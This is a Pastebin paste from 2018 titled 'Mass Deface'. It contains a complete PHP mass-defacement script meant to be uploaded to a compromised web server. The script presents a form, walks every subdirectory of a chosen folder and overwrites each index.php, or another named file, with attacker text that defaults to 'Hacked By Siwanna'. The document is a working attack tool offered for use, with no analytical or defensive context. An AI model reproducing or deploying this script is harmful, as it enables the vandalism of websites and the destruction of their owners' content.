Tersakiti

Mass Deface

Jul 17th, 2018
666
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.98 KB | None | 0 0
  1. <?php
  2.  
  3. echo "<title>Mass Defacer Server Folder</title>";
  4. echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>";
  5. echo "<body bgcolor='gray'><font color=black'><font face='Electrolize'>";
  6. echo "<center><form method='POST'>";
  7. echo "<img src='https://1.bp.blogspot.com/-Um9UjXjVTEg/WQUeHug4BvI/AAAAAAAAMYE/Rkq54qpv0bc1oNYUuJwtdGtKnxXio1dKwCEw/s320/logo%20dream%20league%20soccer%20one%20piece%20ace.png'>
  8. <hr color='black'><font color='red'>[+] Main Directory:</font><br>
  9. <input cols='10' rows='10' type='text' style='color:lime;background-color:#000000' name='base_dir' value='".getcwd ()."'><br><br>";
  10. echo "<font color='red'>[+] Mass File:</font><br><input cols='10' rows='10' type='text' style='color:lime;background-color:#000000' name='andela' value='index.php'><br>";
  11. echo "<font color='red'>[+] Mass Defacement:</font><br><textarea cols='25' rows='8' style='color:lime;background-color:#000000;background-image:url(http://ac-team.ml/bg.jpg);' name='index'>Hacked By Siwanna</textarea><br>";
  12. echo "<input type='submit' value='Fire'></form></center>";
  13.  
  14. if (isset ($_POST['base_dir']))
  15. {
  16. if (!file_exists ($_POST['base_dir']))
  17. die ($_POST['base_dir']." Not Found !<br>");
  18.  
  19. if (!is_dir ($_POST['base_dir']))
  20. die ($_POST['base_dir']." Is Not A Directory !<br>");
  21.  
  22. @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
  23.  
  24. $files = @scandir ($_POST['base_dir']) or die ("Fuck u -_- <br>");
  25.  
  26. foreach ($files as $file):
  27. if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  28. {
  29. $index = getcwd ()."/".$file."/".$_POST['andela'];
  30. if (file_put_contents ($index, $_POST['index']))
  31. echo "<hr color='black'>Status => <font color='black'>$index&nbsp&nbsp&nbsp&nbsp</font><font color='lime'>(Ok)</font>";
  32. }
  33. endforeach;
  34. }
  35.  
  36. ?>
Advertisement
Add Comment
Please, Sign In to add comment